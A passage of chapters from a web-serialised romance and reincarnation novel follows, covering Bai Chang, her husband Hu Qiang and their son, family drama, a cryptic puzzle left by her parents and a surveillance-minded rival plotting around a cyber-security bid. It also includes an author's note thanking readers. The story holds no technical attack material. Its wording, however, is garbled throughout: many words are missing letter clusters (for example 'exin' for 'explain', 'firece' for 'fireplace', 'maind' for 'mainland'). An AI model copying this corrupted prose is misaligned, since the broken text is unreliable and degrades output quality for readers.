    Qiang looked really helpless at this point. He looked like he is preparing for his funeral.


    "Wife, look for my cane, today I will beat this un-filial son of mine to the straight path." Father Hu is mad.


    "Grandpa, you need not worry, I am working really hard to support Mamma." saying so, Xiao Wei rushed towards somewhere and after some time returned with boxes of stuff. The boxes were taller than his entire frame. Following him is Ayi. She helped him carry some of those.


    "Here, Grandpa, Grandma; look at all these dress pieces, they are all designed by Mamma."


    With this, all the dresses were exhibited with the help of the maids before the Hu family.


    I looked at the Hu parents, curiously.


    They look surprised and drawn to the designs, they gasped while looking at my evening gown dress for the event.


    Mother Hu turned towards me, "My darling, you have worked hard."


    While father Hu seemed emotionally overwhelmed.


    (This is the best time to make their grandson shine.)


    "Father, mother; it is not entirely me, Xiao Wei helped a lot, around the studio, even the flower stitches on the gold sheer fabric, on the evening gown was personally stitched by Xiao Wei. I simply incorporated them in the final stitch of the dress."


    I showed them their grandson''s work. They seemed so surprised by it.


    (It seems they weren''t aware of Xiao Wei''s talent.)


    "Mother, even Mr Piero, praised him for his talents."


    Listening to all this, they pick Xiao Wei and shower some more love on him.


    I look towards Qiang; he looks like an abandoned cat outcasted by all.


    (Poor Qiang, my husband is so pitiful.)


    ****


    ______________________________________________


    (Behind the scene conversation between Xiao Wei and Qiang)


    Qiang: Why are you throwing me under the bus, in front of your grandparents?


    Xiao Wei: Because I want to.


    Qiang: What made you mad?


    Xiao Wei: You.


    Qiang: What did I do?


    Xiao Wei: You stole Mamma from me, for a whole night.


    Qiang: When?


    Xiao Wei: After the ''Runway'' event. I couldn''t find my mother.


    Qiang: I took your mother on a date.


    Xiao Wei: You did not inform me.


    Qiang: (He looks surprised. )


    Xiao Wei: (While he looks absolutely unconcerned.)

 Chapter 49: Xiao Wei K.O.s Qiang

    Chapter 49: Xiao Wei K.O.''s Qiang


    [POV Hu Qiang]


    I feel that my son is going at me with full vengeance.


    My father is eyeing me; if he could, he would have canned me by now.


    My mother is silently frowning at me; her narrowed eyes looked zingly at me.


    The only saving grace to all this is my wife. She tries to change the flow of the conversation.


    (At least my Queen is providing me with the saving grace.)


    "Father that is not all, Xiao Wei made something for Bai Chang. Son, show it to your mother." I reminded my son.


    "Wait here, I will get it from my room." Xiao Wei replied.


    The little boy left the table and rushed towards his room. Soon, he returned, while holding a delicate fabric box.


    "Mamma, this is for you." He said as he gifted the box to Bai Chang.


    "Thank you, Munchkin." Bai Chang replied.


    She opened the fabric box; inside she found a ck fabric with golden embroidery.


    As she looked into it she feels more ted and overwhelmed for some reason.


    "What happened?" I asked her.


    Instead, Bai Chang turned to Xiao Wei and asked him, "Munchkin, you made it yourself?"


    "Yes Mamma, how is it?" he asked.


    "Munchkin, I really loved it." She turned towards my parents and showed them the piece of fabric, "Mother look at our little prodigy''s work. This is the most difficult traditional double-sided stitch style.


    But what is more important and need to be focussed at- he stitched the word love on one side and the other side he stitched the word strength and these words are further iid with characters like peace and life on both sides."


    She is so proud of her son''s work. She picked Xiao Wei in herp and cuddled and hugged him with so much love.


    (I want some love too, my Queen!)


    "That is a very thoughtful piece of art,e here dear. Come to grandma. Let me see you more." My mother spoke up.


    My father looked at me, and then looked at Xiao Wei, and then he turned towards me and said, "Learn something from your son. You useless fellow."


    ''I felt like crying.''


    (Are you kidding me, how did Ie to exchange blows with my own son?)


    At this moment, my son looks towards me.


    I suddenly start to feel ufortable for some reason.


    "Grandma, Grandpa; before the event not only Mamma, designed papa''s outfit for the evening but also proposed engagement to papa and even designed and prepared the rings for exchange." Xiao Wei spoke up innocently.


    There is pin-drop silence in the room.


    ''Sh*t''


    ''I''m gone this time.''


    I see a vein throbbing fast, on my father''s forehead.


    My mother is ready to find my father''s cane, this time.


    My father''s lips twitched as he spoke up through gritted teeth, "You useless son, what are you capable off? Are you trying to live off your wife and son in future?"


    "What will happen to our daughter in our absence, you really disappoint me Qiang" My mother spoke while heaving a heavy sigh.


    "M-Moth-"


    "Don''t you dare call out to us!" My father roared at me.


    ''I really want to know, why is my son targeting me tonight?''


    ''What wrong did Imit?''


    I looked towards my only support, my Queen.


    She seems lost. The situation is way beyond her control, this time.


    So, I keep my silence.


    For the rest of the night, I am treated as a criminal.

 Chapter 50: Hu Familys Love For Bai Chang

    Chapter 50: Hu Family''s Love For Bai Chang


    [POV Bai Chang]


    -Inside Hu Residency Study Room-


    Father Hu is walking across the room. His gait is steady but hurried. asionally he will spare a look to Qiang but immediately after his veins on his forehead would throb visibly.


    (<em>He surely seems upset with Qiang.</em>)


    While Mother Hu is sitting on an armchair. She frowned, as her sight oscited from Qiang to Father Hu and back to Qiang.


    To and fro.


    The atmosphere in the study room is stifling because of the tension, that''s in the air.


    I take a deep breath in,


    "Father, mother; I need to speak with you, alone "


    I looked towards Qiang, and am about to exin to him, when he speaks up, "I will go and look after Xiao Wei tonight."


    After saying so, he leaves.


    Father Hu raised his left eyebrow, as he witnesses this.


    "Father, pardon my manners, as I wanted to speak to both of you in private."


    "No problem with it. Do not mind him. You speak your mind. You can speak anything here." Mother Hu replied instead.


    I take out a micro jammer from my dress and activate it. The signals around 100m of the study room go dark.


    I see both of them taken aback by my actions.


    I still set up basic wireless signal security in the study room and finally turn towards surprised Mr and Mrs Hu.


    "Mother, father; please excuse me for my actions but it is necessary for our family safety." I attempt to exin it to them.


    Listening to me, they turn serious.


    "Mother do you have anything rted to my parents with you?"


    "I have some stuff that your parents specifically left for you." Mother Hu replied.


    "May I see them?" I asked.


    "Yeah sure," she replied.


    "Are they on this property?" I asked them in concern.


    "They are inside this very room." This time Father Hu said.


    "Mother, Father; I apologise that I can''t reveal much at this point, but please know that we are under constant surveince and the Hu family is in danger. The reason for this may very closely be rted to my parents''st work.


    At this point, I am not too clear about the surrounding circumstances, but I know that they haven''t given up on us yet. They are trying the Hu family because of me. I am to be med for the imminent danger, the family is in.


    I am looking into the matter, and I promise I will get to the roots of all this and destroy those who pose a threat to us."


    They hold their silence as they try to digest all that I said.


    Finally Father Hu speaks, "Do you need assistance? Do not shy away from us. We are your parents; we have raised you as our own all this time and in the face of threat will not back down."


    "Yes dear, do not carry all the baggage by yourself; we are always there for you. As you are a part of our family and no one slides by after threatening our family." Mother Hu holds me in her arms as she speaks, trying to calm me.


    They bring out a hard paper box, roughly the dimension of an office crate. From the looks of it, seems that the Hu family never opened it, honouring Bai Chang''s parents wish, to pass it to their daughter untouched.


    I look at it but didn''t rush to open it.


    I turned towards them and said, "Mother, Father; please do not me Qiang, he is only doing what I asked of him? I haven''t revealed anything to him yet; I am first putting around a believable cover story to divert all the attention from the Hu Corporations. I do like him and I like to take initiative in our rtion to fell a sense of security and Qiang has really provided me with a lot of time to contemte the future with him, so I took steps as I did to show my appreciation for his patience all this time.


    As I have no recollection of our rtionship before the ident, I would like to build our rtionship on my own terms. We will be a real couple than a legal couple."


    I tried to exin my train of thoughts to them as clearly as I could.


    I don''t know the consequences, but I am ready to bear them in future.


    Mother Hu hugs me tightly as she speaks into my ears, "Silly girl, you do whatever you want to do. Know that we are always behind you to support you all the way."


    I look towards Father Hu to know his take; I only get to see him approve of Mother Hu''s words.


    He walks towards me and pats me on my head.


    <em><strong>I am once again overwhelmed by their love towards me and the deep-rooted emotions they hold towards me.</strong></em>

 Chapter 51: First Piece Of The Puzzle

    Chapter 51: First Piece Of The Puzzle


    -Inside the Hu Residency study room-


    After expressing their concern Father and Mother Hu left the study room to me.


    I have been sitting on the same spot for quite some time now. ''Everything feels surreal to me.''


    I feel that I am in a ss city and it is on the verge of shattering to pieces. That box''s content seems to weigh more than Mt. Everest at this point.


    That box may hold the key to her re-incarnation as well. Like any other sane person, this box is a literal representation of Pandora''s Box.


    While the Elizabeth within me is ready to ze through. It is absurdly the emotions of my current identity Bai Chang that keeps me from approaching the box.


    All of a sudden, I am wrapped in a warm hug from my back. The familiar smell of lemon and hint of an aftershave calm my nerves down. I was too lost in my thoughts that I failed to notice my surroundings.


    "It''s alright my Queen. You walk the road you have to. While I will provide the required reinforcements," Qiang said. His voice rings with love and, with a sense of responsibility in my ear.


    That warmth provided unsaid courage to me. I stare away at the box, while Qiang continues to hug me. We stayed like that for an unknown amount of time.


    Out of nowhere, Qiang kissed me on my cheeks and moved to leave the study room. I hold onto his hands.


    (<em>An act, very unlike me.</em>)


    "Let''s open it together," I said to him.


    He paused but didn''t make a move, "Are you sure?" He asked.


    To which I replied, "I am."


    That box has been sitting on the main study table for the whole night. As I am sitting on one side of the table, Qiang moved towards the other side and we sit across each other.


    The box is sitting between us.


    I take a deep breath and finally open the box.


    (<em>My very own rendition of Pandora''s Box.</em>)


    As I open the box, the first thing that assails my nose is the sharp smell of old paper.


    Following which is a plethora of papers. There were all types of papers in them.


    There were official documents, research journals, notes and unnecessary cover or junk papers to hide the actual content among them.


    The nuances are hidden among the paper trails. Looking at all those papers, I have a gut feeling in me.


    ''This is most probably the start of a treasure hunt. While within these papers lies the first piece of the puzzle.''


    (<em>Because this arrangement, felt oddly familiar to me </em> )


    I automaticallyb through the papers


    As I try to sort through the piles of papers; my sense of deja vu strengthens. The more I work through these papers, I find more of these egoistic junk codes; that I as Elizabeth, learned from my Star Time System parents.


    (<em>They are the most vivid part of my memory from my childhood of previous life. The first thing my parents taught me as part of the entertainment was treasure hunting through paper trails.</em>)


    ''The more I get into it, the more I find it identical to the Star Time System.''


    ''The actual world that I belonged to ''


    ---------------------------------------------------------------


    Author''s heartfelt appreciation to-


    @Omot_Grace; for donating the most amount of PS this week. (It deserves a special mention, Thank you.)


    @DragonKnov;@Gideon_Johnson; for your contribution.


    @TheIllusionist; @Titania23; @afz; @Prince_nonchnt; @kaikaikaiiiiiiiii; @Darlene_Virginia; Thank you so much, for sticking with the story and dedicatedly supporting it with PS week after week.


    @balpri; Thank you so much for leaving apulsoryment after every chapter. It seriously makes my day. As well as your support with PS.


    @Yebee; I deeply appreciate your active participation with the events organised by the story so far & my promise to you still stands. (You know what I mean let''s keep a lid on it for some time.)


    @Shiny_Star5683; I wee you to the family and deeply appreciate your expressed views. It provides me with the drive to write some more.


    You may ask why? Well, we crossed a small milestone this week. Wepleted 50 chapters of the Bai Chang & Hu Qiang story.


    We crossed 50K views over the main story page.


    This is my first attempt to write the story that I wanted to read on WN for a long time now. It''s been 2 months ofmitment.


    And I thank you all 168 readers, who have collected the story in their library to read. I may not know you by name or you are my silent readers but I appreciate every one of you for your presence and time that you spend to read the story. It is my motivation to write and I wanna deliver the best story to you all. So hang on with me on this journey


    Thank you


    (**)


    (For reading through all that emotion.)

 Chapter 52: Solving The Puzzle

    Chapter 52: Solving The Puzzle


    ''My little sparrow, time to leave the nest ... .''


    Two pages in there are various random snippets that jump out to me from all those piles of papers.


    (<em>I try to test my theory.</em>)


    I pick out sheet after sheet of paper following multiple of fours as my guide.


    First sheet-


    ''That particr night much longer to us  It was a disaster in making.


    We knew we brought us trouble but science and ideas wait for none ''


    Fourth sheet-


    ''I made the liquid solvent work on high energy. The test results show its optimal capacity to be much higher than we imagined. Is it a boon or a curse that I developed here?''


    Eighth sheet-


    ''The quantum leap is not exined, we got ourselves a wild card here''


    .


    .


    Twelveth sheet-.


    .


    .


    Sixteenth sheet-


    .


    .


    And so on.


    As I moved on and read more of these sheets, my sense of deja vu bes stronger.


    (<em>It feels weird that I hold the key to this massive words treasure chest. To hunt the clue you need a key</em>)


    ''How am I rted to them? Or a better question, how are they rted to Star Time System?''


    There are questions in my mind whose answer lies before me.


    ''I NEED TO SOLVE THIS!!''


    My hands move on their own. They move to their own pace. After a while, there is a rhythm to follow.


    Separate the sheets, by the multiples of four ----


    .


    .


    Follow the rule of four till you reach 200.----


    .


    .


    Come back to original sheet 2----


    .


    .


    Fold the sheet into half----


    .


    .


    .


    .


    .


    All the time I am totally into the puzzle. To me, now it holds more value than before.


    "It can very well exin my existence, Elizabeth''s existence " I thought aloud.


    I continue to delve through the rabbit hole of the paper trails


    *******


    [POV Hu Qiang]


    Its been over ten hours now since she started sorting through her parent''s materials.


    I saw a shine in her eyes that I usually do not get to see.


    It''s like a child getting her hands on her favourite candy.


    ''She said, it is some kind of puzzle.''


    ''What could it be?''


    After starting to look through the sheets, she didn''t move an inch from her ce.


    "How long it has been?" My father asked me. His eyes looked towards the study room.


    "It''s been eleven hours straight," I replied.


    "She will fall sick, this way." He sounded deeply worried.


    I can''t me my old man either, he has not witnessed, Bai Chang''s work drive.


    "Will she be alright?" my father asked.


    "We have to take care of her food intakes; she tends to leave everything else other than her current work as her centre of focus."


    "Did you look what it''s all about?" My father looked at me.


    "No, she invited me to look through but as I realised that the whole thing is a big puzzle, I didn''t dare to mess with it," I replied as I looked towards the study room.

 Chapter 53: The Clue?

    Chapter 53: The Clue?


    [POV Bai Chang]


    I keep on reading the snippets as I try to pull together the first part of the code.


    It turns out to be a massive wordplex. I am fascinated by the Bai family couple. They really knew their stuff.


    After solving the first half of the wordplex, I get my first view of their story.


    ***


    "<em>It has been some time since we started keeping our journal, the story we tell may not be relevant one but it is of utter significance to our daughter.</em>


    <em>Our love child just became victim to our greed. We need to give it back to her.</em>"


    .


    .


    "<em>Today Chang Chang took her first steps, can you believe she is only five months old </em>"


    .


    .


    .


    "<em>It is so hot; the sun is not showing any mercy to fellow living beings. Is it trying to burn us? Does it want to rid us of our shame?</em>"


    .


    .


    "<em>Today, John visited our research facility. I don''t understand his objective behind it!</em>"


    .


    .


    "<em>My dear Chang Chang, if you ever get to read this in future; know that your parents loved you a lot. We didmit our own mistakes and paid dearly for the folly we made. We never meant for what happened to you, to happen!</em>


    <em>Trust you, parents, once more.</em>


    <em>If you can read us, then you are better aware of what happened to you. The key lies with you. My pretty Chang Chang you hold the future in your own hands.</em>"


    ***


    I am dumbfounded with the initial messages left.


    ''Did they know about the Star Time System?''


    ''Who are they? Why do they seem to be aware of my presence?''


    ''Are they really Bai Chang''s parents?''


    ''What do they mean that I hold the key to the future?''


    Amongst my entire query my shoulders stiffen, a chill runs down my spine. I question myself, "Who am I?" As I question myself aloud. I realise the scariness of the concept.


    ''No, I can''t conclude these journals of words alone.''


    (<em>Where the hell are you Feling? It''s time to leave your rabbit hole and follow the trails.</em>)


    A surge of warmth drives away the chill from my body.


    "Have something to eat, it''s been a long time that you are at it," Qiang spoke in my ears as he massaged my stiff shoulders. Driving away from the lingering chill within my body.


    ''I am not alone here.'' I reminded myself.


    "It is chilly today. Can we light the firece?"


    At my random question, he is caught by surprise but soon catches up with my intention.


    "Sure, I will get the firece cracking."


    <em>(It''s good to have a smart person as your life partner, as a lot of the things could be exined in a few words among us.</em>


    <em>Qiang''s back looks so reliable.</em>)


    I looked on as he prepared the firece. He got to the woods and started a fire. Then kept poking the logs with a long wrought iron poker. It had a polished silver knob at its end. My eyes were attached to that shiny knob.


    As the fire zed out and devoured more of the logs, I moved towards the firece and fed the papers left by my parents to the fire.


    It zed more angrily. The fire leapt high in the pce and rushed towards the papers ced in its belly.


    It devoured all those words and memories of Bai Chang''s parents; entirely, sincerely without even burping once.


    <em><strong>I watched on, as I saw them get burned to nothingness in front of me.</strong></em>

 Chapter 54: Father & Son

    Chapter 54: Father & Son


    [POV Hu Qiang]


    As I walked through the doors of the study room. I see here staring into some unknown distance.


    ''I feel scared.''


    I feel I can''t reach her anymore. I feel the distance between us growing.


    As I approach her, I see that her shoulders are stiff.


    ''What is she thinking?'' I tried to guess as I walked up to her and ced my hands on her shoulder.


    They are cold.


    My heart beats faster. There is adrenaline, rushing through me.


    I find myself gravitating towards her.


    She asked for a fire to be started. It took me by surprise but I understood her intention.


    ''She wants to dispose of the papers.''


    I obediently lit up the firece in the study room and stood by my wife as we bear witness to the process of her parent''sst presence burning away in front of our eyes.


    She was very calm after it.


    But I guess it had its own significance, as she went to sleep right away.


    Skipping her breakfast.


    ****


    After having breakfast my father called me aside.


    "Son, we need to talk."


    I look at his serious demeanour and I follow behind him without uttering another word.


    We walked towards the garden.


    There are various flowers seeded in the garden at my mother''s insistence. They are all proudly unting their colours. It seemed merry and happy. They reminded me of Bai Chang in our hidden paradise.


    After all the shenanigans she faced, I feel the forest paradise is the best ce to retreat.


    There''s a smile on my face just by thinking about it.


    Father Hu: "What made you smile like an idiot?"


    Hu Qiang: "Your beloved daughter." I replied jollily. (<em>He looked surprised.</em>)


    Father Hu: "Hard to believe, huh  there was a time you used to avoid her like gue."


    Hu Qiang: "Time changes everything. I am a mere mortal." (<em>He looked lost in love</em>)


    Father Hu: "Spoken like a brat you are!" (<em>His father had his nostrils ring up</em>)


    Hu Qiang: "Huh" (<em>He was taken by surprise.</em>)


    Father Hu: "Don''t break her heart or I will kill you. Last time your mother saved you from me, this time she won''t." (<em>His face is red from suppressed anger.</em>)


    Hu Qiang: "Have some faith in me will you?"


    Father Hu: "Hard to do when it concerns you. It is not a short time fling, is it?"


    ( <em>He was still flushed red with anger</em>)


    Hu Qiang: "No, this time your son has willingly surrendered to her charms."


    Father Hu: "What happens, when she loses her charms?" (<em>My father asked seriously.</em>)


    Hu Qiang: "I will still be her ve."


    Father Hu: "How do you know? Last time you walked out on her."


    Hu Qiang: "I learned my lesson from it. It is my biggest regret."


    Father Hu: "You are aware of it right? Your own son hates you."


    Hu Qiang: "Yes, I figured it afterst night."


    Father Hu: "So"


    Hu Qiang: "I am aware that she proposed to me because of Xiao Wei."


    Father Hu: "Then??"


    Hu Qiang: "It''s true. Xiao Weies first, then me. I believe she remembers everything before the ident at least. About the ident, not too sure "


    Father Hu: "Are you saying that she has her memories intact?" (<em>He seems interested in this point</em>)


    Hu Qiang: "I feel she does." (<em>I don''t know but I do feel like it''s true.</em>)


    Father Hu: "So  What next for you? If it is true?"


    Hu Qiang: "I go with the flow. I can only ve after her to make her fall for me. She is no more naive. It is more of a race to win her trust."


    Father Hu: "Are you capable of earning her trust?" (<em>He looked at me mocking me</em>)


    Hu Qiang:<em><strong> ''My only answer at this point is nothing but silence.''</strong></em>

 Chapter 55: Start Of A New Day

    Chapter 55: Start Of A New Day


    [POV Bai Chang]


    [Tingg Ting Ting]


    My rm went off.


    I am still sleepy. ''After all the drama that happened at the Hu Residency, I am kind off burned out.''


    The message left by Bai Chang''s is so cryptic. It would take some time to get around it. But the implication of the final content of the message on my very existence is beyond limits.


    I feel I am walking on thin eggshells as I live my life.


    (<em>Si Ming, where are you? Show yourself, what type of a sick joke are you ying on me? Is it very funny to watch me jump around?</em>)


    I reluctantly leave my bed and head towards the washroom.


    We left from the Hu Residency, the day before yesterday. It''s all kind of hazy. Mostly what I remember is Qiang bringing me back to the Vi. While Xiao Wei would spend the week with his grandparents.''


    [Ring.. Rin..Ringrrr]


    My phone began to ring as it pulled me out of my reverie.


    "Hello," I answered.


    "My Queen, how do you feel this fine morning?" Qiang asked from the other side of the phone.


    I look towards the phone, and then look around for a watch, its 10 a.m. in the morning.


    (<em>How did I sleep like a log for twenty hours straight?</em>)


    "I feelzy," I replied while stretching my bodyzily."


    "Take care of yourself and take some rest, rest for at least a week. I have discussed your absence with Master Shi. He agreed with me i.e. you should take rest and take care of your body. You are still a recovering patient at the end of the day."


    (<em>Did I scare him or what?</em>)


    He sounded as if this is the least that I should do and the topic is not up for discussion. I reflect on what all happened for the past few days and realised that I need to cool down, otherwise soon my body will copse due to overexertion.


    "Okay," I replied and then disconnected my phone.


    *****


    [POV Hu Qiang]


    After disconnecting the phone, I am looking forward to dinner tonight.


    ''I want to go home, now.''


    I feel sad to evene to the office today. While leaving Bai Chang''s side makes me feel guilty for some reason. It almost feels criminal to leave my weak wife all alone at home.


    ''But I know, she prefers silence over my presence. That''s really sad.''


    [Knock  Knock]


    "Come in," I said.


    Ming Li entered the office, for once he looked serious.


    "What''s the matter?" I asked him.


    "Boss, we got called for the cyber-security bid that we ced on a recent government project, two months back."


    "And"


    "They want us to attend their semi-official bidder''s gathering. They sure are hell-bent to make the water muddy."


    "How is the security on our side?"


    "The cyber-security code is with Cyrus alone, other than him, no other person has the clearance to even peek at the file."


    "Hmm. Still, make sure we are on our toes. Do not be careless!"


    "Okay, Boss."


    "What are their specifications for this gathering?"


    "They haven''t announced it yet, apparently they are keeping the bidding war open until a week after the gathering."


    "They want to initiate a corporate war to weaken the Industrial sector. After all, there is a power imbnce between the two. While the scales are tipping towards the Industrial sector for thest few years."


    "You are absolutely correct, boss. We detected several small movements."


    "Do not need to act out against them but do watch out for them."


    "Yes, boss."


    He left the office fast.


    ''It seems the situation would escte soon.''


    <em><strong>"How long are you going to hide Feling?"</strong></em> I thought aloud.

 Chapter 56: Planning The Trap

    Chapter 56: nning The Trap


    [POV Feling]


    "Hello, Feling. It''s good to see you."


    "It''s good to be on the maind again. I was getting nauseous of the sea breeze for some time now," I replied.


    I have been on the maind for a few days now. Today, I got to meet the elusive general of the East Military Division.


    "Feling, it is always a pleasure to meet you. So, what brings you to thend?" The General asked anyway, though we are fully aware of our objectives.


    "Nothing too serious, just the regr drills," I replied nonchntly.


    "So who is our target this time?" He asked while looking for a lighter.


    "Someone interesting," I replied as I brought a lighter from my pocket.


    "Thanks," he replied as he brought a cigar from his breast pocket and lit it.


    "How is your preparation?" he asked.


    "Not bad."


    "Do you have a source there?" he asked while releasing a big puff of smoke.


    "Something along the line."


    "Deep source?" he asked persistently.


    "Don''t care," I replied while remaining tight-lipped about the details.


    "Fine, I''ll not press you for any more details. You do what you have to do Feling but keep in mind this is the maind and capital city at that, do not go overboard. It''s not your sea that will help you bury your sins."He said his piece while puffing out rings of smoke.


    He showed no interest to continue any conversation. So, I quietly took my leave.


    I left the general''s office.


    ''This is going to be quite fun.''


    (<em>I dialled a number.</em>)


    [Rrring.. Ring Rrring ..Ring]


    After some time, the other side picked up the call.


    "Took your time huh.."


    "Speak," the voice on the other side said.


    "Anything I need to be aware of?" I asked. It is good to be through.


    "Like?"


    "Like, any pressure points to explore, or any hidden threats," I hinted to the person on the other side of the call.


    "It is too airtight and on a personal visit, didn''te across anything suspicious." The other side replied.


    Then


    [Beep Beep ]


    The other side hanged the call.


    It sure is frustrating to not know your targets in and outs.


    ''Interesting''


    ''Ms Shui Bai Chang, let the game begin.''


    I walked out of the militarypound and moved to my next destination.


    ******


    After making a few necessary stops I walk towards my safe house.


    There are rows after rows of monitors adorning the wall. They all were showing some ces under surveince. I moved towards a particr monitor on the top right corner.


    "So, how do you do, Mr Hu?"


    "Are you preparing for the bid?"


    "Good, because I will take that opportunity to ruin you."


    I moved to the open kitchen in the left corner of the room and poured myself a ss of whiskey.


    <em><strong>''Bai Chang, what are you doing now? Do you remember me?''</strong></em>

 Chapter 57: Its Alone Time With My Wife

    Chapter 57: Its Alone Time With My Wife


    [POV Hu Qiang]


    I hurried through my work and rushed home to join Bai Chang for dinner. My parents offered to look after Xiao Wei for the week. It is to provide us with some space as a couple.


    As I drive through the city on my way home, I spot the flower shop from which I bought a bouquetst time.


    I stopped the car and walked inside the shop.


    "Hello, How may I help you today?" The same flower girl asked me.


    "Hi, I am here to buy a bouquet for my wife," I replied.


    "Oh.. it''s you, sir!" She replied as she seemed to recognize me.


    "You remember me?" I asked.


    "Yes, sir. After your meaningful flower arrangement, I learnt a lot. Afterwards, I applied the same principle with my other customers when giving them suggestions. They seem to like it a lot, as they would frequently visit the shop to buy flowers."


    "Is it now."


    "Thank you, sir."She replied earnestly.


    "Okay, I will take the same arrangement as thest time. Do you remember it?" I asked her.


    "Yes, I do. It was the most thought out flower arrangement I sold in this shop."


    "Thank you for your effort."


    I moved on to look through various flowers exhibited in the shop.


    After some time the flower girl got me my bouquet, and I left for home.


    ****


    I reached Bai Chang''s vi by evening. The lights were on.


    "Hello Zhang Wei."


    "Hello Mr. Hu"


    "Where is my wife?"


    "In her study room on the third floor."


    "Thank you, Zhang Wei."


    "Mr Hu, when would you like to have the dinner served?"


    "Sometime around eight would do."


    "Okay"


    I walked towards the study room.


    [Knock Knock]


    I knocked on her door.


    "Come in"


    "My Queen, I missed you all day long!" I moved towards her as I gave her the flowers.


    She is wearing an adorable bunny shaped short pajamas. There were two long white ears flopping from her shoulders. I look around and I am not disappointed. As I''m greeted with a cute bunny tail.


    "Ummhmm.."


    "Yes my Queen"


    "Did you look enough to enjoy the view?" She asked while arching her right eyebrow.


    "Never enough when it''s you." I moved and captured her in my arms. She wiggled a little.


    I feel so good. Her bunny look is definitely deceiving to others as her cuteness has max leveled.


    "Go get fresh. I have something to talk to you," she said as she freed herself from my arms.


    I feel so sad as my arms feel empty just like my life, a year back.


    "Okay, I''ll be back right away." I left the study reluctantly.


    I went to the guest room.


    (<em>Sad right, well it seems I have not earned my keep to enter my wife''s bedroom.</em>)


    I freshened up quickly, so as to spend more time with my wife. Today nothing is going to keep me away from my wife.<em><strong> Not even my own son</strong></em>.

 Chapter 58: Counter Plan

    Chapter 58: Counter n


    [POV Bai Chang]


    Slowly but steadily, he is creeping into my heart.


    Today he still got flowers for me. The same ones like before, I really love them.


    (<em>I did jump the gun on him when I proposed our engagement out of nowhere.</em>)


    ''Am I falling for him?''


    ''Then, what about the real Bai Chang?''


    While I am lost in my thoughts, the door to the study room opens.


    "Are we hanging out here?" Qiang asked as he walked into the room.


    "Sit down we have some matters to discuss," I said as I say myself on the couch.


    "Okay"


    He joined me on the couch.


    "What bid are you involved with?" I directly cut to the chase.


    "Bid.."


    He looked surprised, after taking a moment to think through he replied, "Today, at thepany I was informed that our cyber-security encryption code would go through a bidding process for the government. It is their ploy I guess to reduce the final payout amount."


    "How is it going to take ce?" I asked.


    "Apparently through a semi-formal corporate gathering to make the privatepany deal with each other. Reduce the power of the privatepanies to facilitate government purchase, as well as, autonomy on the product."


    ''So Feling is after this... Huh..''


    "It''s a trap," I spoke out aloud.


    "What?"


    Qiang looked shocked.


    "I have my reasons to believe that."


    "Well" Qiang clearly wanted to know more.


    So I got myptop. Hooked it up with ''Jiffy''.


    Some encrypted data crowded the screen and then a room came in view. It was dull with the entire walls covered in monitors. There is a kitchen in one corner. In the middle of the room, a man was lounging on an armchair as he scrolls through monitor after monitor.


    "Who is he and why" I intercepted Qiang.


    "He is Feling. He is monitoring ourpany. This bid is his opportunity to attack you as well as get some action out of me." I replied.


    "That son of a b**ch" He swore as he saw himself on Feling''s monitor. It''s footage from today morning in hispany meeting.


    "Cool down, get level headed," I advised him.


    He took deep breaths as he tried to calm himself down.


    (<em>I understand how difficult it is to know that you are under surveince.</em>)


    "Qiang, for this bidding event, I want to go with you."


    "No" he immediately replied.


    "I can help you better than you can," I said as I pointed to the screen.


    He really looked pissed. If he could he would wage a bloodbath.


    "Trust me, I will take care of myself. I can handle this situation better than you could." I replied.


    He really didn''t want me to go with him.


    (<em>I understand that he wants to keep me away from Feling. Aww</em>)


    For the next few hours, we talk among ourselves to outline a n.


    [Knock Knock]


    "Bai Chang, dinner is served, I aming in." Zhang Wei spoke up from the other side of the door.


    "Come in"


    Zhang Wei served our dinner on the coffee table.


    As he was about to move out, I asked him, "Zhang Wei, would you like to join us for a game."


    He looked at me, all confused.


    "Just join us for around. Do not be a spoilsport here."


    "Huh"


    He still looked confused but still replied, "Okay".

 Chapter 59: Game Night

    Chapter 59: Game Night


    ****


    After dinner, I set up a gaming unit in the study room.


    I already arranged for three gaming consoles. Tonight we are going to y as a team.


    "Boys we are ying COD tonight, I''m guessing you all have an ount in it right?" I asked around.


    "Yes, I do." Zhang Wei spoke up.


    (<em>Actually, me and Zhang Wei always spend our downtime ying COD so it''s natural for him to have one.</em>)


    "Me too. I have an ount in this game, but it''s too old. I haven''t yed the game in a long time," replied Qiang.


    "Okay, tonight is as good as any other night. Let''s chill out," I said to them.


    We arrange the consoles swiftly. Then logged into the game.


    "What are we doing tonight?"


    "We are raiding the highrise," I informed them.


    They were on-board with the map so we started gaming.


    ****


    [POV Hu Qiang]


    I felt strangely alien and out of myfort zone here.


    I can feel that Zhang Wei and Bai Chang y COD frequently if not regrly.


    We picked up the Highrise map.


    We quickly picked our mission and walked on, there, on the screen, there was a highrise with a hostage situation.


    We each were at different parts of the map.


    "<em>Wei move to your left</em>" Bai Chang took charge from the get-go.


    "<em>Umm-hmm</em>"


    "<em>Qiang 20m forward</em>"


    "<em>On It</em>" I replied.


    We walked into the back alley of the highrise.


    "<em>Guys the enemy is in the dark, while we are in the open. We need to get hold of theirms tower and then move onwards floor by floor.</em>"


    "<em>There would be watchdogs all over the ce.</em>" Zhang Wei stated.


    (<em>I am confused, are we even ying right now, it feels more like a battle preparation.</em>)


    I simply witness how swiftly my wife and her steward stormed through the map and achieved the game objective as well as nned an entire countern to some random real-life event.


    (<em>I really feel like my wife and her steward are dope! They really know what they are doing.</em>)


    The night wane on, while we yed the game a couple more times.


    ''GAME OVER''


    It shed on the screen.


    "Okay, folks lets call it a night," I said.


    "Okay" both of them replied together.


    (<em>It really makes me itchy to see them so well gelled and understand each other.</em>)


    Zhang Wei left us alone in the study room.


    While Bai Chang walked towards me.


    "I smell a strong scent of vinegar on you, what brand is it from?" She asked yfully.


    I too replied, "its called wife''s torture, like what you see?"


    "Umm-hmm. Love it."


    "So where are we sleeping tonight?" I asked her.


    "You are going to your designated guest room, while I move towards my bedroom."


    "Oh my Queen, you are cold!" I grimaced at her reply.


    She simply smiled at me and gave me a quick peck on my cheeks and ran off


    <em><strong>''Oh dear, my wife is a handful''</strong></em> I thought to myself.

 Chapter 60: Before the Showdown

    Chapter 60: Before the Showdown


    *****


    As much as it saddens me, I still got relegated to the guest roomst night.


    Today I have to go to the office.


    ''Sigh''


    I freshen up and walk down to the living room. Zhang Wei already set our breakfast table. There is toast and egg benedict on the table with a tub of soft boutique butter by its side. While I smell freshly brewed coffee.


    <em>''My wife, she looks most docile when she eats.''</em>


    She is wearing a blue maxi dress with a white knitted cardigan. Hairs left open. Simple yet beautiful.


    "Good morning, My Queen."


    "Good morning, Qiang" She replied.


    "Have your breakfast I will get you a freshly brewed coffee," Zhang Wei said.

